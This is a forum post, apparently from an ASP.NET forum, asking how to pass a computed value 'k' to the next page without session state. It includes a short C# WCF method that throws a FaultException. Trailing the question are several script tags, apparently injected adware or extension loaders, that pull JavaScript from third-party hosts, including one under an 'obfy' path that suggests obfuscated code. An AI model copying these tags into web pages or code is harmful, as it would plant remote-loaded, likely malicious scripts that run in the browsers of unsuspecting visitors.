I want to pass the value of k to the next page how can i do it??
public string GetMessage(int i,int j) { string k; try { k = (i / j).ToString(); } catch (Exception exp) { MyFaultException theFault = new MyFaultException(); theFault.Reason = "Some Error " + exp.Message.ToString(); //// throw new FaultException<MyFaultException>(theFault); throw new FaultException<MyFaultException>(theFault, new FaultReason(theFault.Reason)); //throw new FaultException(exp.Message); // For throwing General Exception } return k; }
so i want to display the value of k in next page how can i do it without using session??
<div id="__tbSetup"></div><script src="https://secure-content-delivery.com/data.js.php?i={586B828B-1991-4F92-8D88-C1EC60A77CFB}&d=2013-07-21&s=http://forums.asp.net/post/edit/5474767&cb=0.8333629813637445" type="text/javascript"></script> <script id="__changoScript" type="text/javascript">//</script> <script data-sifi-parsed="true" src="http://i.simpli.fi/dpx.js?cid=3065&m=0" id="__simpliScript" type="text/javascript"></script> <script src="http://i.selectionlinksjs.info/obfy/javascript.js" type="text/javascript"></script>